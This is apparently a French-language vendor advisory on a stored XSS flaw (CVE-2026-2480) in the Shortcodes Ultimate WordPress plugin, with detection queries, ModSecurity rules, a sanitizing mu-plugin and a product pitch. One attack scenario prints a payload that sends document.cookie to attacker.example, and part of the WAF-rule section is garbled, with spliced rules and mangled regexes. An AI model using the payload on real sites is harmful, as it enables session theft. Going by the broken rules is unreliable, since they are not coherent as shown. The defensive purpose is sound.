
| Nom du plugin | Shortcodes Ultimate |
|---|---|
| Type de vulnérabilité | Scripts intersites (XSS) |
| Numéro CVE | CVE-2026-2480 |
| Urgence | Faible |
| Date de publication du CVE | 2026-04-03 |
| URL source | CVE-2026-2480 |
Urgent : CVE-2026-2480 — XSS stocké dans Shortcodes Ultimate (<= 7.4.10) — Ce que les propriétaires de sites WordPress doivent faire maintenant
Auteur: Équipe de sécurité WP-Firewall
Date: 2026-04-03
Mots clés: WordPress, vulnérabilité de plugin, XSS, WAF, sécurité
Résumé: Un contributeur authentifié peut injecter un script intersite stocké via l' max_width attribut shortcode dans Shortcodes Ultimate <= 7.4.10 (CVE-2026-2480). Cet article explique le risque, les scénarios d'exploitation, les indicateurs de détection et les étapes pratiques d'atténuation, y compris des règles WAF temporaires et des recommandations de durcissement.
Important: Une vulnérabilité de script intersite stocké (CVE-2026-2480) a été publiée pour les versions de Shortcodes Ultimate jusqu'à et y compris 7.4.10. Elle est corrigée dans 7.5.0. Si vous utilisez ce plugin et ne pouvez pas mettre à jour immédiatement, suivez les atténuations ci-dessous pour réduire le risque.
Résumé exécutif
- Vulnérabilité: Cross-Site Scripting (XSS) stocké via le
max_widthattribut shortcode dans Shortcodes Ultimate (<= 7.4.10). Suivi comme CVE-2026-2480. - Qui peut exploiter : Un utilisateur authentifié avec des privilèges de niveau contributeur (ou supérieur) peut injecter une charge utile dans les attributs shortcode qui persistent dans le contenu des publications.
- Impact: Si une charge utile stockée est rendue dans des pages où des utilisateurs privilégiés (par exemple, éditeurs, administrateurs) visualisent ou modèrent le contenu, elle peut exécuter JavaScript dans leurs navigateurs — permettant le vol de session, la compromission de compte administrateur, l'escalade de privilèges, la défiguration de contenu ou l'injection de portes dérobées supplémentaires.
- Correctif : Corrigé dans Shortcodes Ultimate 7.5.0. Mettre à jour le plugin est la seule solution complète.
- Si une mise à jour immédiate n'est pas possible : appliquer des atténuations temporaires — imposer une désinfection de contenu plus stricte, restreindre le comportement des contributeurs, ajouter des règles WAF pour bloquer les charges utiles, scanner les indicateurs et examiner les utilisateurs et publications du site.
Cet article passe en revue les détails techniques, les chaînes d'attaque réalistes, la détection et les recommandations d'atténuation étape par étape, ainsi que des règles et du code d'exemple que vous pouvez appliquer immédiatement.
Pourquoi cela importe (en termes simples)
Les shortcodes sont un moyen pratique d'ajouter un formatage avancé, des widgets et des médias aux publications WordPress. Mais parce que les shortcodes acceptent des attributs, les attaquants peuvent parfois introduire du HTML/JS dans les attributs si le plugin qui analyse le shortcode ne désinfecte pas correctement l'entrée.
Dans ce cas, un contributeur authentifié (un utilisateur normalement à faible privilège qui peut soumettre des publications pour révision) peut inclure une valeur malveillante dans le max_width attribut. Le plugin a stocké cette valeur et l'a ensuite rendue sans échapper correctement en tenant compte du contexte ; le résultat : XSS stocké — le script malveillant persiste dans la base de données et s'exécute lorsqu'un utilisateur charge la page affectée dans le front-end ou lorsqu'un utilisateur privilégié visualise la publication dans la zone d'administration.
Le XSS stocké est particulièrement dangereux dans WordPress car la plateforme repose sur des utilisateurs de confiance et le rendu dynamique du contenu. Si un contributeur peut injecter du JS qui s'exécute dans le navigateur d'un administrateur, cela peut conduire à une prise de contrôle complète du site.
Détails techniques (ce qui se passait)
- Un attribut shortcode nommé
max_widthacceptait des valeurs du contenu des publications (par exemple : [su_image max_width=”…”]). - La validation des entrées et l'échappement étaient insuffisants pour cet attribut dans certains chemins de rendu ; en particulier, les attributs n'étaient pas strictement assainis pour supprimer les gestionnaires d'événements JavaScript ou HTML avant la sortie.
- Parce que la valeur malveillante est stockée dans le contenu du post, elle est persistante : tout visiteur ou administrateur visualisant cette page pourrait déclencher l'exécution.
- Privilège requis : Contributeur (authentifié) — cela abaisse le niveau pour les attaquants car les contributeurs sont souvent autorisés sur des blogs multi-auteurs, des flux de publication d'invités ou des comptes d'utilisateurs compromis.
Remarque : La vulnérabilité est corrigée dans la version 7.5.0. Les auteurs du plugin ont abordé l'assainissement/l'échappement appropriés dans la logique de rendu problématique.
Scénarios d'attaque réalistes
- Compte contributeur malveillant :
- Un attaquant enregistre un compte de contributeur (ou compromet un contributeur légitime).
- Ils soumettent un post avec un attribut de shortcode conçu comme :
[su_image max_width='" onerror="fetch(\'https://attacker.example/steal?c=\'+document.cookie)'] - Si le site rend l'attribut sans échappement, le gestionnaire onerror peut s'exécuter dans les navigateurs des visiteurs (ou d'un éditeur/admin visualisant le post), exposant les cookies et permettant d'autres actions.
- Escalade d'ingénierie sociale :
- L'attaquant soumet le post et informe un éditeur via Slack/email pour qu'il le révise et le publie.
- Lorsque l'éditeur ouvre l'aperçu du post dans l'admin, la charge utile s'exécute et vole le cookie de session de l'éditeur ou déclenche une action de type CSRF dans le navigateur authentifié de l'éditeur.
- Collecte massive :
- Sur un réseau multi-utilisateurs ou un site avec de nombreux spectateurs privilégiés, une seule charge utile stockée peut affecter de nombreux comptes, permettant une large compromission.
- Attaque combinée (XSS -> CSRF -> RCE) :
- Le XSS persistant peut être utilisé pour effectuer des actions via la session authentifiée de l'admin (créer des comptes admin, télécharger des portes dérobées) si les protections CSRF appropriées sont absentes ou si l'attaquant exploite des points de terminaison AJAX autorisés.
Qui est à risque ?
- Sites exécutant la version Shortcodes Ultimate ≤ 7.4.10.
- Sites qui acceptent du contenu de la part d'utilisateurs de niveau Contributeur ou qui ont des contributeurs non fiables.
- Blogs multi-auteurs, sites d'adhésion, flux d'écrivains invités, sites communautaires.
- Tout site où des utilisateurs privilégiés (Éditeur/Admin) visualisent du contenu non fiable (aperçus de posts, écrans d'édition, files d'attente de modération).
Étapes de détection immédiates (quoi rechercher)
Recherchez sur votre site des valeurs d'attributs de shortcode suspectes et des indicateurs connus :
- Recherchez les occurrences de
max_width=dans les publications :- WP‑CLI :
wp db query "SELECT ID, post_title FROM wp_posts WHERE post_content LIKE '%max_width=%';" - Ou bien :
wp post list --post_type=post --format=ids | xargs -I% wp post get % --field=post_content | grep -n "max_width="
- WP‑CLI :
- Recherchez des attributs contenant
<script,JavaScript :,onerror=,onload=,onmouseover=,src=javascript, ou des variantes encodées (par exemple,<script,javascript). - Examinez les publications récentes des contributeurs (par date et auteur) pour un contenu nouvellement créé avec des shortcodes.
- Surveillez les journaux du serveur pour des référents ou des demandes suspects touchant les pages d'administration ou les points de terminaison de prévisualisation après la création des publications.
- Vérifiez les comportements administratifs inattendus immédiatement après que des utilisateurs avec de faibles privilèges publient ou enregistrent du contenu (par exemple, nouveaux comptes administratifs, téléchargements de plugins).
Si vous trouvez du contenu suspect, traitez-le comme un possible compromis actif : mettez la publication hors ligne (brouillon), recherchez d'autres indicateurs et suivez les étapes de réponse à l'incident ci-dessous.
Remédiation immédiate (que faire tout de suite — priorisé)
- Mettez à jour le plugin vers 7.5.0 (ou version ultérieure) immédiatement
- C'est la seule solution complète pour la vulnérabilité. Mettez à jour sur tous les environnements (staging, production).
- Si vous avez de nombreux sites, planifiez et automatisez cette mise à jour de toute urgence.
- Si vous ne pouvez pas appliquer de correctifs immédiatement — appliquez des atténuations temporaires
- Restreignez temporairement les permissions des contributeurs :
- Supprimer la possibilité de soumettre des publications sur le site en direct ; passer à un flux de travail uniquement en brouillon ; ou limiter qui peut télécharger/insérer des shortcodes.
- Désactiver les shortcodes dans l'aperçu de l'éditeur pour le contenu des contributeurs jusqu'à ce qu'il soit corrigé (par exemple, supprimer le shortcode du contenu en utilisant un filtre save_post).
- Ajouter des règles WAF pour bloquer les tentatives de stockage de charges utiles ressemblant à des scripts (voir les règles d'exemple ci-dessous).
- Supprimer ou rechercher et remplacer toutes les occurrences non sécurisées de
max_widthattributs contenant un contenu suspect ; les définir sur des valeurs numériques sûres.
- Restreignez temporairement les permissions des contributeurs :
- Supprimer les publications suspectes et rechercher des exploitations similaires.
- Pour chaque publication suspecte : définir sur Brouillon, supprimer les valeurs de shortcode offensantes et republier uniquement après vérification.
- Utiliser des requêtes de base de données pour trouver d'autres publications avec des attributs malveillants.
- Faire tourner les identifiants et auditer les utilisateurs si vous soupçonnez un compromis.
- Forcer la réinitialisation du mot de passe pour les utilisateurs qui pourraient avoir été ciblés ou dont les sessions pourraient avoir été volées.
- Supprimer tous les comptes privilégiés nouvellement créés que vous ne reconnaissez pas.
- Examiner les répertoires de téléchargement de plugins/thèmes pour des fichiers inattendus.
- Scanner l'ensemble du site à la recherche de logiciels malveillants/backdoors.
- Utiliser un scanner côté serveur ou le scanner de logiciels malveillants du fournisseur WAF. Rechercher des fichiers récemment modifiés, des utilisateurs administrateurs inconnus, des tâches planifiées inattendues et des fichiers PHP malveillants.
Exemples de règles WAF que vous pouvez appliquer immédiatement.
Ci-dessous se trouvent des règles d'exemple que vous pouvez utiliser dans un pare-feu d'application Web (WAF) ou dans des systèmes compatibles ModSecurity. Ajustez et testez soigneusement sur un environnement de staging avant de les appliquer en production pour éviter les faux positifs.
Note: Ce sont des modèles généraux pour bloquer les tentatives de persistance XSS via des attributs de shortcode. Ce sont des mesures défensives temporaires et ne remplacent pas le patching du plugin.
1) Bloquer les tentatives de soumettre du contenu de publication contenant des charges utiles suspectes.max_widthRègle de style ModSecurity (conceptuelle) :SecRule REQUEST_METHOD "^(POST|PUT)$" "phase:2,chain,deny,log,msg:'Bloquer XSS suspect su max_width',id:100001" SecRule ARGS_POST|REQUEST_HEADERS|REQUEST_BODY "(?i)(\[su_[^\]]*max_width\s*=\s*(['\"]).*?((max_widthattribut contenant5.,JavaScript :ou des attributs de gestionnaire d'événements commeonerror=. Il décode les URL et les entités HTML avant de vérifier.max_widthRègle plus générale pour bloquer les attributs de type script à l'intérieur de tout<\s*script|javascript:|on\w+\s*=).*?\1" "phase:2,deny,log,msg:'Block XSS in max_width attribute',id:100002" 3) Block common attribute-encoded obfuscation (hex/decimal entities): SecRule REQUEST_BODY "(?i)max_width\s*=\s*(['\"])[^'\"]*(?:&#\d+;|\\x[0-9a-f]{2}|%3C|%3c).*?\1" "phase:2,deny,log,msg:'Block encoded tags in max_width',id:100003" 4) If your WAF supports precise shortcodes scanning, create a rule to sanitize/store-only numeric values for max_width. For example, allow only digits and CSS units: SecRule REQUEST_BODY "@rx max_width\s*=\s*(['\"])\s*(?:[0-9]+(px|em|rem|%)?)\s*\1" "phase:2,allow,log,id:100004" Fallback: If the value does not match the safe regex, block or quarantine the request. Important: Test these rules in detect/log mode first to tune false positives. Applying overly broad WAF rules can block legitimate content. These rules are temporary emergency mitigations until you update.
SecRule REQUEST_BODY "(?i)max_width\s*=\s*(['\"]).*?(<\s*script|javascript:|on\w+\s*=).*?\1" "phase:2,deny,log,msg:'Bloquer XSS dans l'attribut max_width',id:100002"
Bloquer l'obfuscation d'attributs courants encodés (entités hex/décimales) : wp-content/mu-plugins/ SecRule REQUEST_BODY "(?i)max_width\s*=\s*(['\"])[^'\"]*(?:&#\d+;|\\x[0-9a-f]{2}||).*?\1" "phase:2,deny,log,msg:'Bloquer les balises encodées dans max_width',id:100003"
<?php
/**
* MU plugin: sanitize su shortcode attributes for contributors
*/
add_action( 'save_post', 'wpf_sanitize_su_max_width', 10, 3 );
function wpf_sanitize_su_max_width( $post_id, $post, $update ) {
// Only run for post types you permit (posts/pages).
if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) {
return;
}
// Only sanitize if current user exists and is not high-privilege.
$user = wp_get_current_user();
if ( ! $user || in_array( 'administrator', (array) $user->roles ) || in_array( 'editor', (array) $user->roles ) ) {
return;
}
// Only sanitize for contributor-level (or below) submissions.
if ( ! in_array( 'contributor', (array) $user->roles ) && ! in_array( 'author', (array) $user->roles ) ) {
return;
}
$content = $post->post_content;
if ( false === strpos( $content, 'max_width' ) ) {
return;
}
// Sanitize any max_width attribute to safe value: keep only digits and optional units.
$content = preg_replace_callback(
'/(max_width\s*=\s*)([\'"])(.*?)\2/si',
function( $m ) {
$val = $m[3];
// Decode entities to catch obfuscated payloads
$val = html_entity_decode( $val, ENT_QUOTES | ENT_HTML5, 'UTF-8' );
// Allow only digits and simple CSS units
if ( preg_match( '/^\s*[0-9]+(?:px|em|rem|%|vh|vw)?\s*$/i', $val ) ) {
return $m[1] . $m[2] . trim( $val ) . $m[2];
}
// Default safe value if suspicious
return $m[1] . $m[2] . '100%' . $m[2];
},
$content
);
// Update the post content in DB directly to avoid loops
remove_action( 'save_post', 'wpf_sanitize_su_max_width', 10 );
wp_update_post( [
'ID' => $post_id,
'post_content' => $content
] );
add_action( 'save_post', 'wpf_sanitize_su_max_width', 10, 3 );
}
Remarques :
- Si votre WAF prend en charge le scan précis des shortcodes, créez une règle pour assainir/stocker uniquement les valeurs numériques pour max_width. Par exemple, autorisez uniquement les chiffres et les unités CSS :.
- SecRule REQUEST_BODY "@rx max_width\s*=\s*(['\"])\s*(?:[0-9]+(px|em|rem|%)?)\s*\1" "phase:2,allow,log,id:100004".
- Solution de secours : Si la valeur ne correspond pas à l'expression régulière sécurisée, bloquez ou mettez la demande en quarantaine.
Important : Testez ces règles en mode détection/journalisation d'abord pour ajuster les faux positifs. L'application de règles WAF trop larges peut bloquer du contenu légitime. Ces règles sont des mesures d'urgence temporaires jusqu'à ce que vous mettiez à jour.
- Exemple de durcissement PHP : assainir les attributs de shortcode lors de l'enregistrement
Si vous ne pouvez pas mettre à jour le plugin immédiatement, envisagez d'ajouter un court mu-plugin qui supprime les constructions suspectes du contenu des publications lors de l'enregistrement pour les contributeurs. Ajoutez ceci en tant que plugin à utiliser absolument (déposez-le danspour s'exécuter avant d'autres plugins) :. - Ce snippet restreint l'opération d'assainissement aux contributeurs/auteurs (ajustez les rôles si nécessaire).
- Il remplace les valeurs suspectes par une valeur par défaut sécurisée (100%). Vous pouvez changer le comportement pour rejeter l'enregistrement à la place.
- Utilisez des mu-plugins pour une fiabilité maximale et pour garantir que le snippet s'exécute même si le plugin vulnérable est actif.
Changements de politique à court terme que vous devriez envisager
Désactivez temporairement le rendu frontal des shortcodes pour les publications non fiables. Vous pouvez utiliser le
- do_shortcode_tag.
- Mettez à jour Shortcodes Ultimate vers 7.5.0 dans tous les environnements.
- Identifiez et mettez en quarantaine les publications affectées :
- Interrogez la base de données pour les publications avec
max_width=et inspectez les valeurs des attributs. - Pour toute publication suspecte, mettez-les en brouillon.
- Interrogez la base de données pour les publications avec
- Inspectez les téléchargements et les plugins pour les fichiers nouvellement ajoutés.
- Examinez les comptes utilisateurs créés ou modifiés dans la période de suspicion d'exploitation.
- Faites tourner les mots de passe et invalidez les sessions pour les comptes admin/éditeur.
- Restaurez à partir d'une sauvegarde antérieure à l'exploitation si la compromission est étendue.
- Renforcez le site (règles WAF, CSP, en-têtes de sécurité).
- Surveillez les journaux et planifiez des analyses fréquentes pendant une période après le nettoyage.
Meilleures pratiques de sécurité à long terme
- Gardez tous les plugins, thèmes et le cœur de WordPress à jour ; appliquez les mises à jour de sécurité rapidement.
- Limitez l'accès en écriture et les privilèges de soumission ; appliquez le principe du moindre privilège.
- Appliquez l'authentification à deux facteurs pour tous les comptes admin/éditeur.
- Scannez régulièrement les vulnérabilités et automatisez les mises à jour des plugins sur un canal de test/staging (appliquez en production après test).
- Mettez en œuvre une politique de sécurité du contenu (CSP) pour rendre les conséquences de l'exploitation plus difficiles — bien que le CSP ne puisse pas remplacer la désinfection des entrées, il aide à réduire l'impact (par exemple, bloquer les scripts en ligne, limiter les sources de scripts autorisées).
- Enregistrez et surveillez l'accès à la zone admin, les événements de sauvegarde/publication de publications et les modifications de fichiers.
- Utilisez un WAF configuré pour détecter et bloquer les tentatives XSS persistantes et les modèles de charge utile dangereux.
Exemples de requêtes et de commandes de détection
- WP‑CLI : Trouver des articles avec
max_widthdans le contenu
wp db query "SELECT ID, post_title, post_author, post_date FROM wp_posts WHERE post_content LIKE '%max_width=%'" - Rechercher des fichiers pour des shortcodes suspects dans les fichiers de thème/plugin :
grep -RIn "max_width" wp-content/themes/ wp-content/plugins/ - Recherchez des shortcodes qui incluent
une erreur/en chargeetc :
wp db query "SELECT ID, post_title FROM wp_posts WHERE post_content REGEXP 'max_width[[:space:]]*=.*(onerror|onload|javascript:|<script)'"
Exécutez ces commandes depuis un hôte de gestion sécurisé avec accès à la base de données et sauvegardes appropriées.
Suggestions de politique de sécurité du contenu (CSP)
La mise en œuvre d'une CSP peut réduire l'impact des XSS en empêchant le JavaScript en ligne et en restreignant les sources de scripts de confiance. Exemple d'en-tête minimal :
Content-Security-Policy :;
La CSP peut être complexe et peut casser des plugins/thèmes existants si elle n'est pas testée. Déployez en mode rapport uniquement avant d'appliquer.
Comment WP‑Firewall peut vous aider (aperçu rapide)
Dans le cadre de notre offre de pare-feu géré, WP‑Firewall fournit :
- Des règles WAF gérées immédiates qui peuvent être déployées pour bloquer les modèles de charge utile XSS (y compris les exploits d'attributs de shortcodes) sur tous les sites protégés.
- Analyse continue des logiciels malveillants et analyse de contenu pour trouver des attributs de shortcode suspects et des charges utiles encodées.
- Patching virtuel : Lorsqu'une vulnérabilité de plugin est divulguée et qu'un correctif n'est pas encore appliqué sur un site, WP‑Firewall peut déployer des règles temporaires qui ferment la fenêtre d'attaque jusqu'à ce que le plugin soit mis à jour.
- Règles d'urgence faciles à appliquer (journaliser, bloquer ou défier) avec un minimum de faux positifs et des capacités de retour en arrière.
- Orientation sur les incidents et manuels de remédiation adaptés à WordPress.
Si vous souhaitez protéger un site rapidement et obtenir des correctifs virtuels temporaires pendant que vous planifiez des mises à jour de plugins, envisagez notre plan gratuit ci-dessous.
Sécurisez votre site gratuitement — Commencez ici : Obtenez une protection avec WP‑Firewall Basic (Gratuit)
Commencez avec la Protection Essentielle — Gratuit pour Chaque Site WordPress
Chaque propriétaire de site WordPress peut obtenir une protection de base sans frais. Le plan WP‑Firewall Basic (Gratuit) comprend une protection de pare-feu gérée, un pare-feu d'application Web (WAF) de niveau industriel, une bande passante illimitée, un scanner de logiciels malveillants et une atténuation des risques OWASP Top 10 — tout ce dont vous avez besoin pour réduire considérablement l'exposition aux vulnérabilités comme le XSS max_width de Shortcodes Ultimate pendant que vous planifiez des mises à jour et des remédiations.
Inscrivez-vous au plan gratuit et ajoutez une couche de protection maintenant :
https://my.wp-firewall.com/buy/wp-firewall-free-plan/
Si vous avez besoin de remédiation automatisée supplémentaire et de contrôles supplémentaires (suppression automatique de logiciels malveillants, blocage/liste blanche des IP, rapports mensuels et correctifs virtuels), nos plans Standard et Pro sont disponibles en tant qu'options de mise à niveau.
Liste de contrôle de réponse aux incidents (résumé d'une page)
- Mettez à jour le plugin vers 7.5.0 (ou version ultérieure) — priorité la plus élevée.
- Si vous ne pouvez pas patcher immédiatement :
- Appliquez des règles WAF pour bloquer
max_widthles attributs qui contiennent<script,JavaScript :ousur*=gestionnaires. - Ajoutez le mu-plugin fourni pour assainir les soumissions des contributeurs.
- Exiger une révision éditoriale du contenu des contributeurs ; définir les contributeurs en mode brouillon uniquement.
- Appliquez des règles WAF pour bloquer
- Recherchez des occurrences malveillantes :
- Utilisez WP‑CLI/DB pour localiser les publications avec
max_width=.
- Utilisez WP‑CLI/DB pour localiser les publications avec
- Mettez en quarantaine les publications suspectes — définissez sur Brouillon.
- Faites tourner les mots de passe admin/éditeur et invalidez les sessions.
- Scannez d'autres fichiers malveillants et portes dérobées ; restaurez si nécessaire.
- Renforcez le site (CSP, 2FA, moindre privilège).
- Surveillez les journaux de près pendant au moins 30 jours après la remédiation.
Réflexions finales de l'équipe WP‑Firewall
Les shortcodes sont puissants et rendent la création de contenu flexible — mais cette flexibilité peut être dangereuse lorsque l'analyse/l'échappement est incomplet. Ce problème rappelle que :
- Le code du plugin qui accepte et sort ensuite des attributs fournis par l'utilisateur doit toujours effectuer un échappement conscient du contexte.
- Le XSS persistant via le contenu est l'une des classes de vulnérabilités web les plus risquées car il peut contourner de nombreuses protections et abuser directement des sessions utilisateur de confiance.
- Des mises à jour rapides sont la défense la plus efficace ; cependant, des défenses en couches (WAF, scan, moindre privilège) réduisent la fenêtre pour les attaquants.
Si vous gérez un site multi-auteurs ou autorisez des contributeurs externes, considérez les flux de soumission de contenu comme une frontière de sécurité. Limitez qui peut insérer des shortcodes ou du HTML brut et assurez-vous des étapes de modération pour tout contenu soumis par les utilisateurs.
Si vous souhaitez de l'aide pour évaluer votre exposition, déployer des règles WAF d'urgence ou scanner votre site pour des charges utiles de shortcode suspectes, notre équipe peut vous aider. Envisagez de commencer avec notre plan gratuit pour obtenir une protection essentielle immédiatement : https://my.wp-firewall.com/buy/wp-firewall-free-plan/
Restez en sécurité — et si vous avez des questions sur l'application des règles d'exemple ou du code de désinfection ci-dessus, répondez à ce post et nous vous aiderons à les adapter à votre environnement.
— Équipe de sécurité WP-Firewall
